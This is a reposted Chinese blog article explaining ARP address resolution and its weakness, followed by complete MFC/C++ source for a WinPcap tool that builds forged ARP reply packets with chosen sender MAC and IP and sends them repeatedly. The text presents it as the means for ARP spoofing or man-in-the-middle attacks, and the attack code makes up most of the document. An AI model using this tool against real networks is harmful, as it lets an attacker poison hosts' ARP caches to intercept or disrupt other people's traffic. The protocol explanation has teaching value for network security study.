arp工作原理与缺陷

时间:2021-01-28 00:32:01
 在以太网中广泛使用的ARP协议,承担着地址转换的角色。在TCP/IP协议栈,ARP协议工作在三层和二层之间,提供网络地址到物理地址的转换。ARP协议的工作流程如下:

        首先,假设局域网中存在主机A、主机B,以及局域网默认网管G。相应的,IP(A)、MAC(A),IP(B)、MAC(B),IP(G)、MAC(G)分别为这三台主机的IP地址和MAC地址。

        那么,当主机A上的应用程序数据由上层协议传到网络层的时候,如果目的IP地址不是自己,那么该怎么把数据传到目的主机呢?

        主机A从自己的IP设置信息和目的IP地址,可以判断出该数据所发往的主机是否与自己在同一个网络。

        如果数据发往的主机在同个网络,比如说是主机B,那么数据继续封装成链路帧,并把MAC(A)做为源物理地址,而把MAC(B)做为目的物理地址。

        如果数据发往的主机在另一个网络,比如说Internet上的主机X,那么数据封装成链路帧,并把MAC(A)做源物理地址,而把MAC(G)做为目的物理地址。

        无论是把MAC(B),还是把MAC(G)做为目的物理地址,当主机A首次发送数据时,系统的ARP缓存是没有内容的,主机A也就无从知道去往的主机,其MAC地址是多少。此时,先发送一个ARP Request广播报文,广播的有效范围是整个局域网广播域。整个广播域内的主机都会收到ARP Request报文,并且拿报文上的目的IP地址与自己的IP地址相比教,如果某台主机发现自己的IP地址相符合,则向主机A发送ARP Response,告知自己的MAC地址,而其他主机则不做响应。

        A:ARP Request ("谁是 IP(B) 的拥有者?");

        B、C、D、....G...,广播域内所有的主机均收到报文。

        B:发现自己的IP真好是IP(B),于是,ARP Response("我是IP(B)的拥有者,我的MAC是MAC(B).");

        其他主机均保持沉默。主机B发送到主机A的ARP Response包不是以广播的方式发送了,所以与主机A和主机B处于同一个广播域但不在一个冲突域内的主机是无法得知了。

        通过ARP广播和响应机制,主机A获得目的主机物理地址后,来自应用程序的数据,就可以从网络层往下封装,并发送了。

       同时,也发现ARP的这种从网络地址到物理地址的转换机制存在者缺陷。当网络中的所有主机都遵守规则,那么,该机制工作得很好。当某台主机要捣乱,那么很容易就可形成了ARP欺骗或者中介。需要做的就是发送错误的ARP Response包给被欺骗的主机。

       借助WinCap,很容易定制ARP数据包。

#define Max_Num_Adapter 20

class CSendArpPacketDlg : public CDialog
{
// Construction
public:
 CSendArpPacketDlg(CWnd* pParent = NULL); // standard constructor

// Dialog Data
 //{{AFX_DATA(CSendArpPacketDlg)
 enum { IDD = IDD_SENDARPPACKET_DIALOG };
 CStatic m_Statistic;
 CComboBox m_Adapter;
 CIPAddressCtrl m_IP_D;
 CIPAddressCtrl m_IP_S;
 CString m_MAC_S;
 CString m_MAC_D;
 UINT m_Count;
 //}}AFX_DATA

 // ClassWizard generated virtual function overrides
 //{{AFX_VIRTUAL(CSendArpPacketDlg)
 protected:
 virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
 //}}AFX_VIRTUAL
 friend void UpdataStatistic(DWORD n);

// Implementation
protected:
 HICON m_hIcon;

 char AdapterList[Max_Num_Adapter][1024];
 int AdapterNum;

 // Generated message map functions
 //{{AFX_MSG(CSendArpPacketDlg)
 virtual BOOL OnInitDialog();
 afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
 afx_msg void OnPaint();
 afx_msg HCURSOR OnQueryDragIcon();
 virtual void OnOK();
 virtual void OnCancel();
 afx_msg void OnStop();
 //}}AFX_MSG
 BOOL InitialAdapterList();
 void EnableCtrl(BOOL b=TRUE);
 BOOL ArpResponse();
 DECLARE_MESSAGE_MAP()
};

#include "stdafx.h"
#include "SendArpPacket.h"
#include "SendArpPacketDlg.h"

/////////////---add header start---////////////////
#include "memory_t.h"
#include "Packet32.h"
/////////////---add header end---//////////////////

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////---add define start---////////////////
#define EPT_IP  0x0800  /* type: IP */
#define EPT_ARP  0x0806  /* type: ARP */
#define EPT_RARP 0x8035   /* type: RARP */
#define ARP_HARDWARE 0x0001   /* Dummy type for 802.3 frames  */
#define ARP_REQUEST 0x0001  /* ARP request */
#define ARP_REPLY 0x0002   /* ARP reply */

#pragma pack(push, 1)

typedef struct ehhdr
{
 unsigned char eh_dst[6]; /* destination ethernet addrress */
 unsigned char eh_src[6]; /* source ethernet addresss */
 unsigned short eh_type;  /* ethernet pachet type */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
 unsigned short arp_hrd;  /* format of hardware address */
 unsigned short arp_pro;  /* format of protocol address */
 unsigned char arp_hln;  /* length of hardware address */
 unsigned char arp_pln;  /* length of protocol address */
 unsigned short arp_op;  /* ARP/RARP operation */

 unsigned char arp_sha[6]; /* sender hardware address */
 unsigned long arp_spa;  /* sender protocol address */
 unsigned char arp_tha[6]; /* target hardware address */
 unsigned long arp_tpa;  /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
 EHHDR ehhdr;
 ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;

typedef struct sendData
{
 ARPPACKET mArpPacket;
 unsigned int count;
 char szAdapter[1024];
 void *pParentObject;
} SENDDATA, *PSENDDATA;
#pragma pack(pop)

/////////////---add define end---//////////////////

/////////////---global data---/////////////////////
bool gbDo;
/////////////---global data---/////////////////////

//////////////////---add code start---///////////////////////
BOOL GetMacAddr(char *str, char *mac)
{
 char *str1;
 int i;
 int low,high;
 char temp[2];
 
 temp[1]=0;
 for (i=0;i<6;i++)
 {
  str1=str+1;

  switch(*str)
  {
  case 'a':
  case 'A':
   high=10;
  break;

  case 'b':
  case 'B':
   high=11;
  break;

  case 'c':
  case 'C':
   high=12;
  break;

  case 'd':
  case 'D':
   high=13;
  break;

  case 'e':
  case 'E':
   high=14;
  break;

  case 'f':
  case 'F':
   high=15;
  break;

  default:
   if (*str < '0' || *str > '9')
    return FALSE;
   temp[0]=*str;
   high=atoi(temp);
  }

  switch(*str1)
  {
  case 'a':
  case 'A':
   low=10;
  break;

  case 'b':
  case 'B':
   low=11;
  break;

  case 'c':
  case 'C':
   low=12;
  break;

  case 'd':
  case 'D':
   low=13;
  break;

  case 'e':
  case 'E':
   low=14;
  break;

  case 'f':
  case 'F':
   low=15;
  break;

  default:
   if (*str1 < '0' || *str1 > '9')
    return FALSE;
   temp[0]=*str1;
   low=atoi(temp);
  }

  mac[i]=high*16+low;
  str+=2;
  if ((*str<'0' || *str>'9') && (*str<'a' || *str>'f') && (*str<'A' || *str>'F'))
   str++;
 }
 return TRUE;
}

void UpdataStatistic(CSendArpPacketDlg*p, DWORD n)
{
 TCHAR szBuf[100];

 sprintf(szBuf, "已发送: %lu 个ARP包.", n);
 p->m_Statistic.SetWindowText(szBuf);
}

DWORD WINAPI SendARPPacket(PVOID pvParam)
{
 char szPacketBuf[600];
 LPADAPTER lpAdapter;
 LPPACKET lpPacket;
 PSENDDATA p=(PSENDDATA)pvParam;
 ARPPACKET ARPPacket=p->mArpPacket;
 DWORD dwRetCode,n=p->count;
 CSendArpPacketDlg* pParentObject = (CSendArpPacketDlg*)p->pParentObject;

 lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR)p->szAdapter);

 if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
 {
  dwRetCode = GetLastError();
  sprintf(szPacketBuf, "无法启用适配器, 错误码 : %lx/n", dwRetCode);
  MessageBox(NULL,szPacketBuf, _T("错误"),MB_OK);
  return 0;
 }

 lpPacket = PacketAllocatePacket();
 if(lpPacket == NULL)
 {
  MessageBox(NULL,_T("申请LPPACKET结构的空间失败!"),_T("错误"),MB_OK);
  PacketCloseAdapter(lpAdapter);
  return 0;
 }
 
 ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
 memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
 PacketInitPacket(lpPacket, szPacketBuf, sizeof(ARPPacket));

 if(PacketSetNumWrites(lpAdapter, n)==FALSE)
 {
  MessageBox(NULL,_T("警告:每次只能发送一个ARP包."),_T("提示"),MB_OK);
 }

 dwRetCode = 0;
 while (gbDo)
 {
  if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
  {
   MessageBox(NULL,_T("发送ARP包出错!"),_T("错误"),MB_OK);
   PacketFreePacket(lpPacket);
   PacketCloseAdapter(lpAdapter);
   return 0;
  }
  dwRetCode += n;
//  MessageBox(NULL,_T("发送成功!"), _T("提示"),MB_OK);
  UpdataStatistic(pParentObject,dwRetCode);
  Sleep(500);
 }

 // close the adapter and exit
 PacketFreePacket(lpPacket);
 PacketCloseAdapter(lpAdapter);

 return 1; 
}
//////////////////---add code end---/////////////////////////

/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
 CAboutDlg();

// Dialog Data
 //{{AFX_DATA(CAboutDlg)
 enum { IDD = IDD_ABOUTBOX };
 //}}AFX_DATA

 // ClassWizard generated virtual function overrides
 //{{AFX_VIRTUAL(CAboutDlg)
 protected:
 virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
 //}}AFX_VIRTUAL

// Implementation
protected:
 //{{AFX_MSG(CAboutDlg)
 //}}AFX_MSG
 DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
 //{{AFX_DATA_INIT(CAboutDlg)
 //}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
 CDialog::DoDataExchange(pDX);
 //{{AFX_DATA_MAP(CAboutDlg)
 //}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
 //{{AFX_MSG_MAP(CAboutDlg)
  // No message handlers
 //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CSendArpPacketDlg dialog

CSendArpPacketDlg::CSendArpPacketDlg(CWnd* pParent /*=NULL*/)
 : CDialog(CSendArpPacketDlg::IDD, pParent)
{
 //{{AFX_DATA_INIT(CSendArpPacketDlg)
 m_Count = 1;
 //}}AFX_DATA_INIT
 // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CSendArpPacketDlg::DoDataExchange(CDataExchange* pDX)
{
 CDialog::DoDataExchange(pDX);
 //{{AFX_DATA_MAP(CSendArpPacketDlg)
 DDX_Control(pDX, IDC_STATISTIC, m_Statistic);
 DDX_Control(pDX, IDC_ADAPTER, m_Adapter);
 DDX_Control(pDX, IDC_IP_D, m_IP_D);
 DDX_Control(pDX, IDC_IP_S, m_IP_S);
 DDX_Text(pDX, IDC_MAC_S, m_MAC_S);
 DDV_MaxChars(pDX, m_MAC_S, 17);
 DDX_Text(pDX, IDC_MAC_D, m_MAC_D);
 DDV_MaxChars(pDX, m_MAC_D, 17);
 DDX_Text(pDX, IDC_COUNT, m_Count);
 DDV_MinMaxUInt(pDX, m_Count, 1, 100);
 //}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CSendArpPacketDlg, CDialog)
 //{{AFX_MSG_MAP(CSendArpPacketDlg)
 ON_WM_SYSCOMMAND()
 ON_WM_PAINT()
 ON_WM_QUERYDRAGICON()
 ON_BN_CLICKED(IDSTOP, OnStop)
 //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CSendArpPacketDlg message handlers
BOOL CSendArpPacketDlg::InitialAdapterList()
{
 char AdapterName[2048];
 char *temp,*temp1;

 DWORD dwVersion,dwWindowsMajorVersion;

 ULONG AdapterLength = 1024;
 memset(AdapterName,0,sizeof(AdapterName));

 int i;
 
 AdapterNum = 0;

 //Get The operating system version
 dwVersion=GetVersion();
 dwWindowsMajorVersion=(DWORD)(LOBYTE(LOWORD(dwVersion)));
 if (!(dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4))
 {
  //printf("NT/n");
  //Get The list of Adapter
  if(PacketGetAdapterNames(AdapterName,&AdapterLength)==FALSE)
  {
   MessageBox(_T("无法获取网络适配器列表!"),_T("错误"));
   return FALSE;
  }

  temp = AdapterName;
  temp1=AdapterName;
  i = 0;

  //split the register item(s) of eth interface card(s)
  while ((*temp != '/0')||(*(temp-1) != '/0'))
  {
   if (*temp == '/0')
   {
    memcpy(AdapterList[i],temp1,(temp-temp1)+1);
    temp1=temp+1;
    i++;
   }
   
   temp++;
  }

  AdapterNum = i;
  temp++;
  temp1=temp;

  //split the description info of eth interface card(s)
  while ((*temp != '/0')||(*(temp-1) != '/0'))
  {
   if (*temp == '/0')
   {
    memcpy(AdapterList[i],temp1,(temp-temp1)+1);
    temp1=temp+1;
    i++;
   }
   
   temp++;
  }
 } else {
  MessageBox(_T("程序仅运行于Win NT/2000/XP/2003...!"),_T("错误"));
  return FALSE;
 }

 for (i = 0; i < AdapterNum; i++)
  m_Adapter.AddString(AdapterList[i+AdapterNum]);

 m_Adapter.SetCurSel(0);

 return TRUE;
}

BOOL CSendArpPacketDlg::OnInitDialog()
{
 CDialog::OnInitDialog();

 // Add "About..." menu item to system menu.

 // IDM_ABOUTBOX must be in the system command range.
 ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
 ASSERT(IDM_ABOUTBOX < 0xF000);

 CMenu* pSysMenu = GetSystemMenu(FALSE);
 if (pSysMenu != NULL)
 {
  CString strAboutMenu;
  strAboutMenu.LoadString(IDS_ABOUTBOX);
  if (!strAboutMenu.IsEmpty())
  {
   pSysMenu->AppendMenu(MF_SEPARATOR);
   pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
  }
 }

 // Set the icon for this dialog.  The framework does this automatically
 //  when the application's main window is not a dialog
 SetIcon(m_hIcon, TRUE);   // Set big icon
 SetIcon(m_hIcon, FALSE);  // Set small icon
 
 // TODO: Add extra initialization here
 CButton *p=(CButton*)GetDlgItem(IDOK);
 p->EnableWindow(InitialAdapterList());
 p=(CButton*)GetDlgItem(IDSTOP);
 p->EnableWindow(FALSE);

 return TRUE;  // return TRUE  unless you set the focus to a control
}

void CSendArpPacketDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
 if ((nID & 0xFFF0) == IDM_ABOUTBOX)
 {
  CAboutDlg dlgAbout;
  dlgAbout.DoModal();
 }
 else
 {
  CDialog::OnSysCommand(nID, lParam);
 }
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CSendArpPacketDlg::OnPaint()
{
 if (IsIconic())
 {
  CPaintDC dc(this); // device context for painting

  SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

  // Center icon in client rectangle
  int cxIcon = GetSystemMetrics(SM_CXICON);
  int cyIcon = GetSystemMetrics(SM_CYICON);
  CRect rect;
  GetClientRect(&rect);
  int x = (rect.Width() - cxIcon + 1) / 2;
  int y = (rect.Height() - cyIcon + 1) / 2;

  // Draw the icon
  dc.DrawIcon(x, y, m_hIcon);
 }
 else
 {
  CDialog::OnPaint();
 }
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CSendArpPacketDlg::OnQueryDragIcon()
{
 return (HCURSOR) m_hIcon;
}

void CSendArpPacketDlg::EnableCtrl(BOOL b)
{
 CButton *pB;
 CEdit *pE;
 CIPAddressCtrl *pIp;
 CComboBox *pC;

 pB = (CButton*)GetDlgItem(IDOK);
 pB->EnableWindow(b);
 pB = (CButton*)GetDlgItem(IDSTOP);
 pB->EnableWindow(!b);

 pE=(CEdit*)GetDlgItem(IDC_MAC_S);
 pE->EnableWindow(b);
 pE=(CEdit*)GetDlgItem(IDC_MAC_D);
 pE->EnableWindow(b);

 pE=(CEdit*)GetDlgItem(IDC_COUNT);
 pE->EnableWindow(b);
 
 pIp=(CIPAddressCtrl*)GetDlgItem(IDC_IP_S);
 pIp->EnableWindow(b);
 pIp=(CIPAddressCtrl*)GetDlgItem(IDC_IP_D);
 pIp->EnableWindow(b);

 pC=(CComboBox*)GetDlgItem(IDC_ADAPTER);
 pC->EnableWindow(b);
}

void CSendArpPacketDlg::OnOK()
{
 // TODO: Add extra validation here
 if(!UpdateData())
  return;

 EnableCtrl(FALSE);
 if (!ArpResponse())
  return;

 return;

 CDialog::OnOK();
}

void CSendArpPacketDlg::OnCancel()
{
 // TODO: Add extra cleanup here
 gbDo=FALSE;
 CDialog::OnCancel();
}

void CSendArpPacketDlg::OnStop()
{
 // TODO: Add your control notification handler code here
 EnableCtrl();
 gbDo=FALSE;
 m_Statistic.SetWindowText(_T(""));
}

BOOL CSendArpPacketDlg::ArpResponse()
{
 char SourceMacAddr[6],DestMacAddr[6];
 static SENDDATA sendData;
 DWORD dwIP;
 DWORD dwThreadID;
 int i=m_Adapter.GetCurSel();

 if (i < 0 || i >= AdapterNum)
 {
  MessageBox(_T("请选择网络适配器."),_T("错误"));
  return false;
 }

 sendData.count = m_Count;

 lstrcpy(sendData.szAdapter, AdapterList[i]);

 if (!GetMacAddr(/*"00-67-A9-00-3A-4A"*/m_MAC_S.GetBuffer(m_MAC_S.GetLength()), SourceMacAddr))
 {
  MessageBox(_T("源MAC地址不正确!"),_T("错误"));
  return FALSE;
 }

 if (!GetMacAddr(/*"00-04-80-13-16-00"*/m_MAC_D.GetBuffer(m_MAC_D.GetLength()), DestMacAddr))
 {
  MessageBox(_T("目的MAC地址不正确!"),_T("错误"));
  return FALSE;
 }

 memcpy(sendData.mArpPacket.ehhdr.eh_dst, DestMacAddr, 6);    //接受方的MAC地址
 memcpy(sendData.mArpPacket.ehhdr.eh_src, SourceMacAddr, 6);    //发送方的MAC地址

 sendData.mArpPacket.ehhdr.eh_type = htons(EPT_ARP);

 sendData.mArpPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
 sendData.mArpPacket.arphdr.arp_pro = htons(EPT_IP);
 sendData.mArpPacket.arphdr.arp_hln = 6;
 sendData.mArpPacket.arphdr.arp_pln = 4;
 sendData.mArpPacket.arphdr.arp_op = htons(ARP_REPLY);

 memcpy(sendData.mArpPacket.arphdr.arp_sha, SourceMacAddr, 6); //发送方的MAC地址
 m_IP_S.GetAddress(dwIP);
 sendData.mArpPacket.arphdr.arp_spa = htonl(dwIP);   //发送方的IP地址

 memcpy(sendData.mArpPacket.arphdr.arp_tha , DestMacAddr, 6);  //接受方的MAC地址
 m_IP_D.GetAddress(dwIP);
 sendData.mArpPacket.arphdr.arp_tpa = htonl(dwIP);   //接受方的IP地址

 sendData.pParentObject = (void*) this;

 gbDo=TRUE;
 CreateThread(NULL,0,SendARPPacket,(LPVOID)&sendData,0,&dwThreadID);

 return TRUE;
}

 文章出自: http://blog.csdn.net/richul/archive/2007/08/09/1735064.aspx